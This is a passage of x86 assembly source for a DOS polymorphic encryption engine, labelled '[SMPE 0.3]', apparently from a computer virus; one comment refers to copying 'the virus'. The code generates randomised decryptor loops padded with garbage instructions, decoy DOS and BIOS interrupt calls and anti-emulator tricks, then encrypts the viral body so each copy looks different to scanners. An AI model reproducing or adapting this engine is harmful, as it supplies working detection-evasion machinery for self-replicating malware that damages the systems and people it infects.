        mov     word ptr ds:[si+0dh],di
        stosw                                   ; we will fill this later
        call    do_garbage                      ; shit stuff

isntapnt:
        call    do_random_dx_0f
        cmp     al,03h                          ; select a pointer
        jb      isntapnt
        cmp     al,04h
        je      isntapnt
        cmp     al,byte ptr ds:[si+4]      ; can't be same as counter
        je      isntapnt
        mov     byte ptr ds:[si+5],al

        add     al,0b8h                 ; mov _reg16_,immediate
        stosb

        mov     word ptr [si-4],di           ; save pointer position
        stosw

        call    do_garbage
        cmp     byte ptr ds:[si+1],00h
        je      dontcl

        in      al,40h
        shr     ax,1
        pushf
        jc      make_a_cx
        mov     al,0b1h                         ; mov cl,rot_num
        stosb
        jmp     redorandom
make_a_cx:
        mov     al,0b9h                         ; mov cx,rot_num
        stosb

redorandom:
        mov     bx,0fh                          ; how many rols/rors
        mov     dx,bx
        call    do_random
        cmp     al,00h
        je      redorandom
        stosb
        mov     byte ptr ds:[cl_move],al

        mov     byte ptr ds:[si+6],01h

        popf
        jnc     no_cxbadd
        in      al,40h                          ; something for ch
        stosb
no_cxbadd:
        call    do_garbage                      ; garbage
dontcl:

        mov     ax,di
        ror     al,1
        pushf
        jc      withsegmentop

        mov     al,0eh                          ; PUSH CS
        stosb
        call    do_garbage
        mov     al,1fh                          ; POP DS
        stosb

        mov     byte ptr ds:[si+0ch],00h       ; don't use ds
        mov     byte ptr ds:[si+7],01h

withsegmentop:

        cmp     byte ptr ds:[si+11h],01
        jne     d_immedia
rndget2:

        call    do_garbage

        call    do_random_dx_0f

        cmp     al,4            ; no sp
        je      rndget2

        cmp     al,byte ptr ds:[si+5h]
        je      rndget2

        cmp     al,byte ptr ds:[si+04h]
        je      rndget2

        or      al,al          ; no ax
        jz      rndget2

        mov     byte ptr ds:[si+6],al

        cmp     byte ptr ds:[si],02h
        jne     no_prefix3

        call    set_386_prefix

no_prefix3:
        add     al,0b8h
        stosb

        xor     bx,bx
        dec     bx
        mov     dx,bx
        call    do_random
        stosw
        mov     word ptr ds:[random_ax],ax

        cmp     byte ptr ds:[si],01h
        je      d_immediap1

        call    do_random

        stosw
        mov     word ptr ds:[random_ax+2],ax

d_immediap1:
        call    do_garbage

d_immedia:

        mov     word ptr ds:[si-2],di           ; where we will jump

        call    do_garbage

        popf
        jnc     mathoperation

        mov     al,02eh                         ; CS:
        stosb
mathoperation:
        cmp     byte ptr ds:[si+1],00h
        je      puremath
        mov     al,0d2h                         ; ROL/ROR base byte
        cmp     byte ptr ds:[si],00h
        je      rolbyte
        inc     al                              ; word = byte +1

        cmp     byte ptr ds:[si],01h
        je      rolbyte

        call    set_386_prefix

rolbyte:
        stosb                                   ; first rol/ror byte
        call    do_random_dx_0f
        ror     al,1
        mov     al,04h
        jnc     rollinging
        add     al,08h                          ; roring
        mov     byte ptr [enc_loop+1],04h       ; encryptor always with SI
        jmp     rolend
rollinging:
        mov     byte ptr [enc_loop+1],0ch       ; ROL/ROR base
rolend:

        mov     cl,byte ptr [si+5]              ; used register
        cmp     cl,06h                          ; use SI
        je      finish_pointer_ro
        inc     al
        cmp     cl,07h                          ; use DI
        je      finish_pointer_ro
        add     al,2
        cmp     cl,03h                          ; use BX
        je      finish_pointer_ro
        add     al,03fh                         ; so it is bp
        inc     byte ptr [si+7]
        stosb
        sub     al,al                           ; bp needs 1 byte more
finish_pointer_ro:
        stosb
        jmp     nowordi
puremath:

        cmp     byte ptr ds:[si+11h],00h
        je      immediate_use
        cmp     byte ptr ds:[si],02h
        jne     op_selecting
        call    set_386_prefix

        cmp     byte ptr es:[di-2],02eh
        jne     no_probs
        mov     word ptr es:[di-2],0662eh

no_probs:
        jmp     op_selecting

immediate_use:

        mov     al,080h                         ; ADD/SUB/XOR base
        cmp     byte ptr ds:[si],00h
        je      goforbyte

        inc     al                              ; word = byte + 1
        cmp     byte ptr ds:[si],01h
        je      goforbyte

        call    set_386_prefix

goforbyte:
        stosb

op_selecting:
        mov     bx,02h
        mov     dx,03h
        call    do_random                       ; select which
        mov     cl,al
        mov     al,01h

        mov     bl,29h

        cmp     byte ptr ds:[si+11h],01h
        je      no_addo
        add     bl,3
        add     al,3

no_addo:

        cmp     cl,00h
        jne     subbing
        mov     byte ptr [enc_loop+1],bl        ; ADD ,2ch
        jmp     xoring
subbing:
        cmp     cl,02h
        je      xor_oper
        sub     bl,28h+08h
        add     al,28h-30h
xor_oper:
        add     al,30h
        add     bl,08h
        mov     byte ptr [enc_loop+1],bl        ; SUB ,04h
xoring:
        cmp     byte ptr ds:[si+11h],01h
        jne     no_store
        stosb

        mov     cl,byte ptr ds:[si+6h]
        mov     al,04h
addon:
        add     al,08h
        loop    addon

no_store:
        mov     cl,byte ptr [si+5]
        cmp     cl,06h                          ; SI?
        je      finish_pointer
        inc     al
        cmp     cl,07h                          ; DI?
        je      finish_pointer
        add     al,2
        cmp     cl,03h                          ; BX?
        je      finish_pointer
        add     al,03fh                         ; well, BP!
        inc     byte ptr [si+7]
        stosb
        sub     al,al                           ; bp needs 1 byte more
finish_pointer:
        stosb

        cmp     byte ptr ds:[si+11h],01h
        je      nowordi

        xor     bx,bx
        dec     bx
        mov     dx,bx

        call    do_random

        mov     byte ptr ds:[random_value],al
        stosb                                  ; one random value
        cmp     byte ptr ds:[si],00h
        je      nowordi                        ; encrypting words?

        call    do_random

        stosb
        mov     byte ptr ds:[random_value+1],al ; one more for word
        cmp     byte ptr ds:[si],01h
        je      nowordi

        call    do_random

        stosw
        mov     word ptr ds:[random_value+2],ax ; two more for dword
nowordi:
        mov     cx,01
        cmp     byte ptr ds:[si],00h            ; is word?
        je      noby

        inc     cl                              ; one more pnt inc for word

        cmp     byte ptr ds:[si],01h
        je      noby

        inc     cl                              ; two more incs for dword
        inc     cl

noby:
do_inc_pointer:
        push    cx
        call    do_garbage              ; some foo instructions
        pop     cx

        call    do_random_dx_0f
        ror     al,1
        jc      normal_inc
;make with add/sub register

        mov     ax,0c083h               ; add ax,
        cmp     byte ptr ds:[si+9],00h
        je      no_sub
        add     ah,28h                  ; change to sub
no_sub:
        add     ah,byte ptr ds:[si+5]
        stosw
;and now how many sub/add

        mov     dx,03h
        mov     bx,cx
        dec     bx
        call    do_random
        inc     al
        sub     cl,al
        jmp     store_and_test

;make with inc/dec register
normal_inc:
        dec     cl
        mov     al,040h                 ; pointer increment
        cmp     byte ptr ds:[si+9],00h
        je      no_decrement
        add     al,08h                  ; dec base
no_decrement:
        add     al,byte ptr ds:[si+5]
store_and_test:
        stosb

        or      cx,cx
        jnz     do_inc_pointer

        call    do_garbage

        cmp     byte ptr ds:[si+11h],01h
        jne     no_key_change

        call    do_random_dx_0f                 ; select change mode

        mov     cl,al

        cmp     al,06h
        jae     rollio

        mov     ax,0c081h

        shr     cl,01h
        jc      ok_ahis

        inc     al
        inc     al

ok_ahis:
        or      cl,cl
        jz      finish_ax

        add     ah,028h

        shr     cl,01h
        or      cl,cl
        jz      finish_ax

        add     ah,08h

finish_ax:
        mov     word ptr ds:[modify_key],ax
        add     ah,byte ptr ds:[nocx]
        stosw
        in      al,40h
        stosb
        mov     byte ptr ds:[modify_key+2],al
        cmp     byte ptr es:[di-3],083h
        je      no_secondrnd
        in      al,40h
        stosb
        mov     byte ptr ds:[modify_key+3],al
no_secondrnd:
        jmp     garb_ex
rollio:
        mov     ax,0c0d1h
        shr     cl,01h
        jnc     storeit
        add     ah,08h
storeit:
        mov     word ptr ds:[modify_key],ax
        add     ah,byte ptr ds:[nocx]
        stosw
        jmp     garb_ex

no_key_change:
        cmp     byte ptr ds:[si+1],02h          ; rol/ror with changing CX
        jne     no_cl_change

        in      al,40h
        ror     al,1
        mov     al,041h                         ; inc cx
        jc      increment_cx
        add     al,08h                          ; 49h = dec cx
increment_cx:
        mov     byte ptr ds:[random_value+1],al ; put also in encryptor
        stosb


garb_ex:
        call    do_garbage

no_cl_change:
        mov     al,048h                         ; dec counter
        add     al,byte ptr ds:[si+4]
        stosb

        call    do_random_dx_0f                 ; CMP or no CMP?
        cmp     al,05h
        jae     direct_ncmp

        push    ax
        call    do_garbage
        pop     ax

        cmp     al,02h
        ja      no_compare

        mov     byte ptr ds:[si+3],01h

        mov     ah,083h                         ; base for ops
        cmp     al,00h
        ja      no_cmp
        mov     al,0f8h                         ; CMP counter,0
        jmp     comp_store
no_cmp:
        cmp     al,02h
        je      oring
        mov     al,0f0h                         ; XOR counter,0
        jmp     comp_store
oring:
        mov     al,0c8h                         ; OR  counter,0
comp_store:
        xchg    ah,al
        add     ah,byte ptr ds:[si+4]           ; store op
        stosw

        sub     al,al                           ; CMP/XOR/OR counter,0
        stosb
        jmp     direct_ncmp
no_compare:
        cmp     al,04h
        je      do_with_and
        mov     al,0bh                          ; OR counter,counter
        jmp     second_operand
do_with_and:
        mov     al,23h
second_operand:
        stosb
        mov     al,0c0h                         ; AND counter,counter
        mov     cl,byte ptr ds:[si+4]
        add     al,cl
        call    instr_change
        stosb
direct_ncmp:
        call    do_random_dx_0f
        mov     cl,al                           ; random in cl
        mov     ax,di
        inc     ax
        sub     ax,word ptr ds:[si-2]           ; check lenght of the jump
        not     ax                              ; of the decryption loop
        ror     cl,1
        jc      must_be_long                    ; random short or long jmp
        cmp     ax,0ff83h
        jae     do_short_jump

must_be_long:
        sub     ax,03h                          ; for the jz forward

        push    ax
        mov     ax,0374h                        ; JZ=JE away

        mov     word ptr ds:[si+0fh],di         ; save JZ away offset

        cmp     byte ptr ds:[si+3],00h
        je      ok_stojz
        ror     cl,1
        jc      ok_stojz
        inc     al                              ; put JBE
        inc     al
ok_stojz:
        stosw

        push    di
        call    do_garbage                      ; do some garbage between
        pop     ax                              ; the exit jump and the jump
                                                ; to the decryption loop
        mov     cx,di
        sub     cx,ax

        pop     ax

        cmp     cx,7ah                          ; not too big
        jbe     ok_garbage

        sub     di,cx
        jmp     no_garb_here

ok_garbage:
        sub     ax,cx

        push    di
        mov     di,word ptr ds:[si+0fh]
        add     byte ptr es:[di+1],cl
        pop     di

no_garb_here:
        push    ax
        mov     al,0e9h                         ; JMP
        stosb
        pop     ax
        jmp     end_bjump

do_short_jump:
        cmp     byte ptr es:[di-1],049h         ; is a DEC CX ?
        jne     normal_short_jump
        ror     cl,1
        jc      normal_short_jump
        dec     di                              ; overwrite the dec cx
        inc     al                              ; jump bytes
        mov     ah,0e2h                         ; LOOP
        jmp     xchnstr

normal_short_jump:
        mov     ah,75h                          ; JNE=JNZ back
        cmp     byte ptr ds:[si+3],00h
        je      xchnstr
        ror     cl,1
        jnc     xchnstr
        inc     ah
        inc     ah
xchnstr:
        xchg    ah,al

end_bjump:
        stosw

        cmp     word ptr ds:[si+0fh],00h        ; made a JZ/JMP serie?
        je      no_garbage_ndd

        push    di
        call    do_garbage
        pop     ax

        mov     cx,di
        sub     cx,word ptr ds:[si+0fh]         ; make JZ (or JBE) to point
                                                ; after some garbage instead
                                                ; of just after the JMP to
        cmp     cx,07bh                         ; the decryption loop
        ja      no_garbage_ndd

        mov     cx,di
        sub     cx,ax

        push    di
        mov     di,word ptr ds:[si+0fh]
        add     byte ptr es:[di+1],cl
        pop     di

no_garbage_ndd:
        mov     ax,01h
        mov     byte ptr ds:[si+0ch],al        ; we can again change DS
        dec     ax
        dec     ax
        mov     word ptr ds:[si+4],ax          ; we can now use all regs
        mov     byte ptr ds:[si+6],al
        or      byte ptr ds:[gnum],0fh         ; a little more max garbage
                                               ; as anti-prefetch_probs in
                                               ; this last stage

        call    do_garbage                      ; put some more garbage

        cmp     byte ptr ds:[si+9],01h
        jne     no_more_needed

        call    do_garbage                      ; expecially if we encrypted
        call    do_garbage                      ; from end to begin - prefetch

no_more_needed:

; some garbage will be also encrypted

        push    di
        call    do_garbage                      ; do the encrypted garbage
        pop     ax

        mov     cx,di
        sub     cx,ax

        mov     ax,bp
        sub     ax,cx                           ; encrypt also some garabage

        add     word ptr ds:[si-8],cx           ; add to encryption lenght

        push    si
        mov     si,word ptr ds:[pointer_di]     ; calculate pointer on code
        add     ax,di
        cmp     byte ptr ds:[inverse],01h
        jne     lets_cont
        add     ax,word ptr ds:[enc_lenght]
        sub     ax,04
lets_cont:
        mov     word ptr es:[si],ax             ; store pointer on code
        pop     si
        sub     ax,bp

;; Decryptor building end

        mov     cx,word ptr ds:[si-8]

        push    cx

        cmp     byte ptr ds:[si],00h            ; convert lenght in words
        je      go_for_it

        inc     cx
        shr     cx,1
        cmp     byte ptr ds:[si],01h            ; words?
        je      go_for_it

        inc     cx                              ; so dwords
        shr     cx,1

go_for_it:

        mov     si,word ptr ds:[counter_pos]
        mov     word ptr es:[si],cx             ; store lenght

        pop     cx
        mov     dx,cx

        pop     bx

        pop     si
        pop     ds
        pop     cx

        push    bx

; Copy code and encrypt it
        push    di
        rep     movsb                             ; copy the virus after
        pop     di

; Pointer SI on data place isn't usable anymore after this line!

        mov     si,ax
        push    ax

no_regdd:
        cmp     byte ptr ds:[inverse],01h
        jne     no_decrement_ndd
        mov     byte ptr ds:[first_inc],4eh     ; dec si
no_decrement_ndd:
        cmp     byte ptr ds:[isrolror],00h        ; are we rol(r)ling?
        je      noro
        mov     byte ptr ds:[enc_loop],0d2h       ; first byte for ror/rol
        mov     byte ptr ds:[random_value],90h  ; no random value req

noro:
        cmp     byte ptr ds:[isword],00h        ; word operations?
        je      pre_enc_loop_one

        mov     ax,dx
        inc     ax
        shr     ax,1

        cmp     byte ptr ds:[isword],01h
        je      using_words

        inc     ax                        ; dwords
        shr     ax,1

        mov     cl,066h
        cmp     byte ptr ds:[no_imm],01
        je      long_stuff
        mov     byte ptr ds:[full_enc_loop],cl
        jmp     using_words

long_stuff:
        mov     byte ptr ds:[enc_loop],cl
        mov     cl,90h
        mov     byte ptr ds:[enc_loop-1],cl

using_words:
        mov     dx,ax                     ; calculate lenght
        cmp     byte ptr ds:[no_imm],01h
        jne     no_regused
        mov     byte ptr ds:[enc_loop+2],04h
        cmp     byte ptr ds:[isword],02h
        je      come_here
        mov     byte ptr ds:[enc_loop],90h
        jmp     come_here
no_regused:
        inc     byte ptr ds:[enc_loop]    ; put working opcode
come_here:
        mov     cl,46h
        cmp     byte ptr ds:[inverse],01h
        jne     ok_no_cl_ch
        add     cl,08h
ok_no_cl_ch:
        mov     byte ptr ds:[second_inc],cl   ; put another inc

        cmp     byte ptr ds:[isword],01h
        je      pre_enc_loop_one

        mov     ch,cl
        mov     word ptr ds:[second_inc+1],cx   ; put another incs for dwords

pre_enc_loop_one:



no_nopput:
        db      066h
        db      0b8h                    ; mov eax,
random_ax       dd      00h             ; immediate

        db      0b1h                    ; mov cl,
cl_move db      00h                     ; immediate

        push    es                      ; DS to what we must encrypt
        pop     ds

        jmp     full_enc_loop           ; cpus rules 4 prefetch


add_to_cx:
        in      ax,40h
        and     ax,0111111b                     ; add up to 63 bytes to
        add     cx,ax                           ; the lenght in CX
        ret

poly_name       db      '[SMPE 0.3]'

set_386_prefix:
        push    ax
        mov     al,066h                         ; set 066h prefix
        stosb
        pop     ax
        ret

full_enc_loop:

prefix_386      db      90h             ; may be 66h if 386 codes used

enc_loop:
;               xor     byte ptr ds:[si],immediate
                db      080h
                db      034h            ; real poly encryption
random_value    db      090h
                db      90h             ; random value2
                db      90h
                db      90h             ; dword op random values

first_inc       db      46h             ; inc si
second_inc      db      90h             ; space for second inc si
incs_386        db      90h,90h         ; space for other two incs

modify_key      db      90h,90h,90h,90h ; space for key modification op

        dec     dx
        jnz     full_enc_loop

        pop     ax

        cmp     byte ptr cs:[inverse],00h       ; from end?
        je      normali
        inc     ax                              ; adjust lenght
        inc     ax
        mov     di,ax
        jmp     after_it
normali:
        mov     di,si
after_it:

        sub     dx,dx                           ; ds:dx = generated code
        mov     cx,di                           ; cx=lenght

        call    add_to_cx

        pop     di                              ; starting off
        pop     bx

        push    ds
        pop     es

        mov     ah,49h
        call    simulate21                      ; deallocate the mem for poly
                                                ; ES still on virus code,
                                                ; but now it isn't allocated
                                                ; any more
        push    cs
        pop     ds

        ret


do_garbage:
        db      0bbh            ; max number of garbage instructions allowed
gnum    db      0fh             ; mov bx,000fh
        db      00h

        mov     dx,bx
pung:
        call    do_random       ; how much instructions
        cmp     al,00h
        je      pung            ; no 0 instruction allowed!
        mov     cl,al
        sub     ch,ch           ; CX = number of instructions to generate

do_the_random:
        mov     dx,07                           ; used for the random gen
        mov     bx,dx
        call    do_random
        cmp     al,04h                          ; no SP allowed
        je      do_the_random
        cmp     al,byte ptr ds:[count_reg]      ; don't change the counter
        je      do_the_random
        cmp     al,byte ptr ds:[point_reg]      ; don't change the pointer
        je      do_the_random
        cmp     al,byte ptr ds:[nocx]           ; no CX change if used
        je      do_the_random
        xchg    ah,al
        mov     byte ptr ds:[reg8bits],0        ; reset 8 bit marker
        push    si
        call    select_instruction              ; generate the instuction
        pop     si
        loop    do_the_random                   ; with the selected reg.
        ret

select_instruction:
        push    cx                              ; AH = destination register
        push    ax

        mov     si,offset instructions
redorndin:

        mov     bx,0ah               ; 0Ah basic types of instructions
        mov     dx,0fh               ; don't eliminate some
        call    do_random            ; which instruction will we generate
        cmp     al,byte ptr ds:[last_done]      ; try to change sometime
        je      redorndin
continue:
        mov     byte ptr ds:[last_done],al      ; store type
        add     si,ax                   ; point to the instr. in the table
        cmp     al,1                    ; which instruction
        ja      foo_label
        jmp     one_byte_instruction

foo_label:
        cmp     al,7
        jb      no_3b
        jmp     three_bytes_instruction
no_3b:
        cmp     al,2                    ; which instruction
        je      outta_here
        cmp     al,4
        jne     foo_label_2
        jmp     not_nop
foo_label_2:
        cmp     al,5
        jb      outta_here
        jmp     rolling
outta_here:
        mov     al,byte ptr ds:[si]
        jae     finish_mate
        push    ax
calltheran:
        call    do_random_dx_0f
        mov     cl,al
        cmp     cl,7                            ; is a compare?
        jne     end_cmp_check
        mov     byte ptr ds:[cmp_check],1       ; sign it.
end_cmp_check:
        pop     ax
        call    instr_change

finish_mate:
        stosb                           ; instruction base oc
        call    do_random_dx_0f
        mov     cl,al
        pop     ax
        mov     al,0c0h                 ; op code for reg+instr
        cmp     ah,04
        jae     only16
        push    ax
        call    do_random_dx_0f         ; reg16 or reg8
        mov     ch,al
        pop     ax
        ror     ch,1
        jc      only16
        dec     byte ptr es:[di-1]      ; bytes opcode = word opcode-1
        ror     ch,1
        jnc     only16
        add     al,20h                  ; high 8 bits
        jmp     end_8_bts
only16:
        cmp     byte ptr es:[di-1],08bh ; only if moving
        jne     finishing_mate

        cmp     byte ptr ds:[ds_mody],00h
        je      end_8_bts
        push    ax
        call    do_random_dx_0f
        cmp     al,02h
        pop     ax
        ja      end_8_bts
        add     byte ptr es:[di-1],03h
        mov     ah,3                    ; ds has eq second opcode as bx
        jmp     end_8_bts

finishing_mate:
        push    ax
        call    do_random_dx_0f
        cmp     al,06h
        pop     ax
        jb      end_8_bts
        mov     al,06h
        stosb
        mov     byte ptr ds:[reg8bits],00h
        jmp     gen_mpos
end_8_bts:
        add     al,cl
        mov     cl,ah
        call    instr_change
stor_chkjmp:
        stosb
        cmp     word ptr ds:[cmp_check],0001    ; encountered a cmp?
        jne     not_comparing                   ; but out of a jmp region?
        call    jumping_zone                    ; no, so do one
not_comparing:
        pop     cx
        ret

one_byte_instruction:
        pop     ax
        mov     al,byte ptr ds:[si]             ; dec/inc generation
        add     al,ah
        stosb
        mov     cl,ah
        call    do_random_dx_0f
        mov     ah,cl
        cmp     al,07h                          ; INT 21h generation?
        jb      nocd21
        call    generate_int
        jmp     no_ah_disp
nocd21:
        mov     cl,06h
        cmp     al,cl
        jb      no_ah_disp
        call    do_antiemulator
no_ah_disp:
        cmp     byte ptr ds:[emu_trick],00h
        je      go_away_now

        in      al,40h
        shr     al,1
        jc      no_cd20
        shr     al,1
        jc      only_a_ret
        mov     ax,20cdh
        jmp     short stor_n_go
only_a_ret:
        mov     al,0c3h
        stosb
        jmp     short exit_exit_put
no_cd20:
        shr     al,1
        jc      with_el
        mov     ax,4cb4h                        ; mov ah,4ch
        jmp     short sto21_n_go
with_el:
        mov     al,0b8h
        stosb
        in      al,40h                          ; random retrun code
        mov     ah,4ch                          ; mov ax,4cxxh
sto21_n_go:
        stosw
        mov     ax,21cdh                        ; int 21h
stor_n_go:
        stosw
exit_exit_put:
        mov     byte ptr ds:[emu_trick],00h
go_away_now:
        pop     cx
        ret

not_nop:
        mov     al,0f7h                         ; not/neg
        stosb
        call    do_random_dx_0f
        mov     cl,al
        pop     ax
        push    cx
        mov     al,byte ptr ds:[si]             ; basic opcode
        add     al,ah                           ; register dependant
        shr     cl,1
        jc      isneg
        add     al,08h                          ; change to not
isneg:
        pop     cx
        cmp     byte ptr ds:[push_nr],2         ; max pushes nested
        ja      nopush
        cmp     cl,2
        ja      nopush
        jmp     dopushpop                       ; do push
nopush:
        stosb
        pop     cx
        ret

rolling:
        mov     al,byte ptr ds:[si]
        stosb                           ; rol/ror... base oc
        mov     al,0c0h
        call    do_random_dx_0f
        mov     cl,al
        pop     ax
        cmp     cl,06h
        jne     no_increment
        inc     cl
no_increment:
        mov     al,0c0h                 ; the base
        call    conv16to8               ; 8 or 16 bit instruction?
        add     al,ah
        call    instr_change
        stosb                           ; write the reg/op dipendant byte
        pop     cx
        ret

three_bytes_instruction:
        cmp     al,8                    ;mov reg,immediate
        je      doalea
        cmp     al,9                    ;mov reg,[imm]
        je      domemcp
        cmp     al,0ah
        je      do_real_lea
        mov     al,083h                 ; write the fixed first byte
        stosb
reget:
        call    do_random_dx_0f         ; select which 3 bytes to do
        mov     cl,al
        cmp     cl,7
        jne     end_cmp_imm_check
        mov     byte ptr ds:[cmp_check],1
        jmp     short end_cmp_imm_check

do_compare:
        push    cx
        call    do_random_dx_0f
        cmp     ah,04h
        je      do_compare
        push    ax
        mov     al,83h
        stosb
        mov     cl,7
        mov     al,0c0h
        jmp     short jch_npt

end_cmp_imm_check:
        mov     al,byte ptr ds:[si]
jch_npt:
        call    instr_change            ; generate instruction
        mov     bl,al
        pop     ax
        mov     al,bl
        call    conv16to8               ; 16 or 8 bit instruction?
        add     al,ah
        stosb
        mov     bx,0ffh                 ; select the random immediate
        mov     dx,bx
        call    do_random
        jmp     stor_chkjmp             ; check for cmp and store

doalea:
        mov     cl,0b8h
        pop     ax
        cmp     ah,4                    ; may we create a 8 bit mov?
        jae     mov16breg               ; yeah, so select randomly which
        push    ax
        in      al,40h
        ror     al,1
        jnc     dowith16b
        mov     byte ptr ds:[reg8bits],1
        mov     cl,0b0h                 ; mov reg8_low,imm
        ror     al,1
        jnc     dowith16b
        add     cl,4                    ; high 8 bits
dowith16b:
        pop     ax
mov16breg:
        mov     al,cl
        add     al,ah
        stosb                           ; mov reg,immediate
        jmp     gen_mpos

do_real_lea:
        mov     al,08dh                 ; store first lea byte
        stosb
        pop     ax                      ; ah = used register
        mov     cl,ah
        mov     al,06h
        call    instr_change
        stosb
        jmp     gen_mpos

domemcp:
        in      al,40h                  ; select segment
        shr     al,1
        jnc     no_seg_change           ; nc? only DS:
        shr     al,1
        jc      change_to_cs            ; c? put CS:
        mov     al,026h                 ; nc? put ES:
        stosb
        jmp     no_seg_change
change_to_cs:
        mov     al,02eh                 ; CS:
        stosb
no_seg_change:
        mov     al,08bh
        stosb                           ; mov reg,seg:[imm]
        pop     ax
        mov     cl,ah

        mov     al,06h
        call    instr_change
        stosb

gen_mpos:
        mov     bx,07fffh                 ;select immediate
        mov     dx,bx
        call    do_random
        stosb
        xchg    al,ah
        cmp     byte ptr ds:[reg8bits],1
        je      no_2_imms               ; was an 8 bit instruction?
        stosb
no_2_imms:
        pop     cx
        ret

do_random_dx_0f:
        mov     bx,07h
        mov     dx,bx
do_random:

        push    cx
        xor     cx,cx
        inc     cx
do_real_random:
        in      al,40h
        mov     ah,al
        in      al,40h
;        ror     al,1
        xor     al,ah

        and     ax,dx
        cmp     ax,bx
        ja      do_real_random

        jcxz    end_real_random

        dec     cx

        cmp     al,byte ptr ds:[last_random]
        je      do_real_random

end_real_random:
        mov     byte ptr ds:[last_random],al
        pop     cx
        ret

last_random     db      0ffh

instr_change:
        cmp     cl,00h                  ; generate new instruction
        je      finish_instr_change     ; based on input register.
        add     al,08h
        dec     cl
        jmp     instr_change
finish_instr_change:
        ret

conv16to8:
        cmp     ah,4
        jae     avante                  ; only from ax to dx
        push    ax
        call    do_random_dx_0f
        mov     ch,al
        ror     ch,1
        pop     ax
        jnc     avante                  ; do 8 or 16?
        sub     byte ptr es:[di-1],1
        ror     ch,1
        jnc     avante
        add     al,04                   ; low 8 bits or high 8?
avante:
        ret

int10_16:
        cmp     ch,0ch
        ja      no_get_cpos
        mov     ah,03h                  ; Get cursor position
        jmp     store_int_10
no_get_cpos:
        cmp     ch,0dh
        ja      no_int10
        mov     ah,0fh                  ; Get current video mode
        jmp     store_int_10
no_int10:
        cmp     ch,0eh
        ja      no_get_keystroke
        mov     ah,01h                  ; Get Keystroke
        push    ax
        in      al,40h
        rol     al,1
        pop     ax
        jc      store_int_16
        inc     ah                      ; Get shift states
        jmp     store_int_16
no_get_keystroke:
        mov     ah,09h                  ; Get KBD functionality
        push    ax
        in      al,40h
        mov     cl,al
        rol     cl,1
        pop     ax
        jc      store_int_16
        inc     ah                      ; get KBD id
        rol     cl,1
        jc      store_int_16
        add     ah,07h                  ; check for keystroke
store_int_16:
        stosw
        mov     ax,16cdh                ; int 16h
        jmp     sto_n_xit
store_int_10:
        stosw
        mov     ax,10cdh                ; int 10h
sto_n_xit:
        jmp     just_b4_end


generate_int:
doint:
        dec     di
        mov     bx,0fh
        mov     dx,bx
        call    do_random
        mov     ch,al                           ; rnd in ch
        mov     al,0b4h                         ; MOV ah,
        mov     bl,byte ptr ds:[nocx]
        mov     bh,byte ptr ds:[count_reg]
        cmp     bl,01h
        je      go_on_ah
        cmp     bl,02h
        jbe     go_on_ah
        cmp     bh,02h
        jbe     go_on_ah
        cmp     bl,03h
        je      lamah_jump
        cmp     bh,03h                          ; is BX as counter?
        je      lamah_jump
        cmp     byte ptr ds:[point_reg],03h     ; is BX as pointer?
lamah_jump:
        je      intwithacd                      ; those with AX,CX,DX
        cmp     ch,1
        jbe     no_es_modify
        cmp     ch,0ch
        jae     int10_16
        cmp     ch,0bh
        jae     no_es_modify
        cmp     ch,4
        jbe     intwithacd
        cmp     ch,6
        jbe     go_on_ah
        cmp     ch,9
        ja      allocmem
        cmp     ch,7
        je      getpsp
        mov     ah,30h                          ; dos version
        jmp     storeandint
go_on_ah:
        jmp     onlyahint
no_es_modify:
        cmp     ch,0bh
        je      space_stuff
        cmp     ch,00h
        je      another_one
        mov     ah,51h                          ; get psp adress
        jmp     storeandint
space_stuff:
        mov     ah,36h                          ; get free disk space C:
        stosw
        mov     ax,03b2h                         ; mov dl,03
        jmp     storeandint
another_one:
        mov     al,0b8h
        stosb
        mov     ax,6601h                        ; get codepage
        jmp     storeandint
getpsp:
        mov     ah,62h                          ; get psp
        jmp     storeandint
intwithacd:
        cmp     ch,3
        jae     getbdrive
        mov     ah,06h                          ; ah=06h
        stosw
        mov     al,0b2h                         ; mov dl
        mov     ah,0ffh                         ; ffh
        jmp     storeandint
allocmem:
        mov     ah,48h                          ; allocate mem
        stosw
        mov     al,0bbh                         ; in bx max mem avaiable
        stosb
        sub     ax,ax
        dec     ax                              ; bx=ffffh
        jmp     storeandint
getbdrive:
        mov     al,0b8h
        stosb
        mov     ax,3305h
        cmp     ch,4
        je      storeandint
        sub     al,al
        mov     ah,058h
        jmp     storeandint
onlyahint:
        mov     bx,04h
        mov     dx,07h
        push    ax
        call    do_random
        mov     ch,al
        pop     ax
okah:
        cmp     ch,1
        je      getcdrive
        cmp     ch,2
        je      getveryfl
        cmp     ch,3
        je      get_mem_int_12
        cmp     ch,4
        je      get_equipment_list
        mov     ah,0bh                          ; get stdin status
        jmp     storeandint
get_mem_int_12:
        mov     ax,12cdh                        ; get avaiable memory
        jmp     just_b4_end
get_equipment_list:
        mov     ax,11cdh                        ; get bios equipment list
        jmp     just_b4_end
getveryfl:
        mov     ah,054h                         ; get verify flag
        jmp     storeandint
getcdrive:
        mov     ah,019h                         ; get default drive
storeandint:
        stosw
        mov     ax,021cdh                       ; int 21h
just_b4_end:
        stosw
look_4_int_jmp:
        cmp     byte ptr ds:[cmp_check],1
        je      icantint
        in      al,40h
        rol     al,1
        jc      icantint
        mov     byte ptr ds:[cmp_check],1
        call    do_compare
icantint:
        ret

dopushpop:
        dec     di
        inc     byte ptr ds:[push_nr]   ; increment the numba of pushes
        push    ax

        mov     bx,0ah
        mov     dx,0fh
        call    do_random

        xchg    al,ah

        cmp     ah,08h
        jb      no_segment_push
        mov     al,06h                  ; push es
        cmp     ah,08h
        je      add_n_store
        add     al,08h                  ; push cs
        cmp     ah,09h
        je      add_n_store
        add     al,10h                  ; push ds
        jmp     short add_n_store
no_segment_push:
        mov     al,50h                  ; push a reg
        add     al,ah
add_n_store:
        stosb
        call    do_garbage

        call    do_random_dx_0f

        cmp     al,06h
        pop     ax
        jb      no_pop_segment

        mov     al,07h                  ; pop es
        jmp     try_pop_ds
try_pop_ds:
        add     al,18h                  ; pop ds
        cmp     byte ptr ds:[ds_mody],00h
        jne     store_pop
no_pop_segment:
        mov     al,58h                  ; pop with the selected one
        add     al,ah
store_pop:
        stosb
        pop     cx
        dec     byte ptr ds:[push_nr]   ; number of pushes curr. active
        ret

jumping_zone:
        mov     byte ptr ds:[cmp_check2],1      ; lock jumping
        mov     bx,06h
        mov     dx,07h
        call    do_random
        cmp     al,06h
        jne     conditional_jump
jump_short_crea:
        mov     al,0ebh                         ; jmp short
        jmp     store_jump
conditional_jump:
        add     al,72h                          ; jmp base
store_jump:
        stosb                                   ; write jmp
retry_cond_jump:
        push    di
        stosb                                   ; where will jump
        call    do_garbage
        mov     ax,di
